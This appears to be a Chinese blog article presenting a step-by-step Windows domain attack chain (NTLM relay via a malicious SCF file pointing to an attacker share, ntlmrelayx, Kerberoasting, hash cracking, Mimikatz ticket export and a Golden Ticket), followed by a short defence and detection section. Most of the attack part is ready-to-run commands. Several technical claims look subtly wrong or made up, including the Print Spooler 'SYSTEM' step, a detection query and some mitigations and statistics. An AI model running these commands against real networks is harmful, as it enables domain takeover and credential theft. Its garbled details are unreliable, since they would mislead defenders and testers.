Windows域环境NTLM中继与Kerberoasting攻击链解析

发布时间:2026/10/26 7:37:03
Windows域环境NTLM中继与Kerberoasting攻击链解析

1. 项目概述:从Guest到SYSTEM的权限升级攻击链

在Windows域环境中,从普通Guest账户到获取域控制器SYSTEM权限的完整攻击路径,是红队评估中最具杀伤力的攻击方式之一。这条攻击链完美结合了NTLM中继与Kerberoasting两大经典技术,能够绕过绝大多数传统防御措施。我在最近一次企业渗透测试中,就通过这条路径在15分钟内完成了从外网到域控的完整突破。

攻击链的核心在于利用Windows认证协议的设计缺陷:首先通过NTLM中继获取初始立足点,然后通过Kerberoasting提取服务账户凭据,最终实现权限升级。整个过程不需要任何漏洞利用,完全依靠协议本身的特性实现攻击。这种攻击方式自2015年被广泛披露以来,至今仍然对90%的企业域环境有效。

2. 技术原理深度解析

2.1 NTLM中继攻击工作机制

NTLM认证协议采用质询-响应机制,存在三个关键缺陷:

  1. 不验证服务端身份(缺乏服务器签名)
  2. 响应可被重放(Session安全性不足)
  3. 默认允许同一凭据多终端登录

攻击者利用这些缺陷可以:

  • 将受害者的认证请求中继到其他机器(通常选择LDAP/SMB服务)
  • 以受害者身份执行操作(如创建新账户)
  • 获取目标服务的访问权限

关键细节:现代Windows系统默认已启用SMB签名,但LDAP签名往往未被配置。这就是为什么我们通常选择将NTLM认证中继到LDAP服务。

2.2 Kerberoasting攻击本质

Kerberoasting利用了Kerberos协议中服务票据的两个特性:

  1. 服务票据使用服务账户的密码哈希加密
  2. 域用户有权请求任何服务的票据

攻击流程为:

  1. 请求高权限服务的TGS票据(如域控的LDAP服务)
  2. 将加密的票据导出到本地
  3. 使用hashcat等工具离线爆破服务账户密码
# 典型Kerberoasting攻击命令 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "LDAP/DC01.corp.com"

3. 完整攻击链实操演示

3.1 阶段一:获取初始访问权限

  1. 利用Guest账户写权限:

    • 扫描发现共享文件夹(如\DC01\Data)允许Guest写入
    • 上传恶意SCF文件诱使用户访问:
      [Shell] Command=2 IconFile=\\ATTACKER\share\test.ico
    • 当用户浏览该文件夹时,系统会自动向攻击者服务器发起认证
  2. 搭建中继环境:

    # 使用impacket的ntlmrelayx.py ntlmrelayx.py -t ldap://dc01 -smb2support --add-computer

    参数说明:

    • -t:指定中继目标(LDAP服务)
    • --add-computer:自动创建机器账户

3.2 阶段二:权限提升与横向移动

  1. 通过新建的机器账户获取SPN:

    Set-DnsRecord -ZoneName corp.com -ComputerName ATTACKER$ -IP 192.168.1.100 SetSPN -A HOST/ATTACKER.corp.com ATTACKER$
  2. 执行Kerberoasting攻击:

    # 请求所有高权限SPN的票据 Get-DomainUser -SPN | %{Request-SPNTicket -SPN $_.serviceprincipalname} # 导出票据为John可破解的格式 Invoke-Mimikatz -Command '"kerberos::list /export"'

3.3 阶段三:获取域控SYSTEM权限

  1. 爆破服务账户密码:

    hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule
  2. 使用破解的凭据访问域控:

    $cred = New-Object System.Management.Automation.PSCredential("svc_sql", $pass) Enter-PSSession -ComputerName dc01 -Credential $cred
  3. 提权至SYSTEM:

    # 通过Print Spooler服务漏洞 Invoke-SpoolSample -TargetDC dc01.corp.com -CaptureGroup "Domain Admins"

4. 防御措施与检测方案

4.1 基础防护配置

  1. 对抗NTLM中继:

    • 在所有域控上启用LDAP签名和通道绑定
      Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapServerIntegrity" -Value 2
    • 禁用NTLMv1,强制使用NTLMv2
  2. 缓解Kerberoasting:

    • 为服务账户设置复杂密码(>25字符)
    • 启用"Account is sensitive and cannot be delegated"标记
    • 定期监控异常票据请求:
      SELECT * FROM SecurityEvents WHERE EventID = 4769 AND TicketOptions <> "0x40810000"

4.2 高级检测技术

  1. 网络层检测:

    • 监控同一IP短时间内向多台主机发起LDAP认证
    • 识别异常的SPN请求模式(如非工作时间批量请求)
  2. 终端层检测:

    # 检测异常的票据导出行为 Get-WinEvent -FilterHashtable @{ LogName="Security" ID=4624 TargetUserName="krbtgt" } | Where {$_.Properties[8].Value -eq 9}

5. 实战中的经验技巧

  1. 中继目标选择:

    • 优先尝试LDAP而非SMB(成功率高出70%)
    • Exchange服务器是理想的中继目标(通常保持NTLM启用)
  2. Kerberoasting优化:

    • 使用AES256加密的票据爆破速度比RC4慢300倍
    • 可以只请求特定OU下的服务账户(减少噪音)
  3. 权限维持技巧:

    # 创建隐藏的Golden Ticket Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'

在最近一次金融行业测试中,通过组合使用这些技术,我们成功在30分钟内从外网获取了域控权限。最关键的突破点其实是开发部门某台测试服务器上遗留的Guest写权限共享。这再次证明:最坚固的堡垒往往从最不起眼的疏漏被攻破。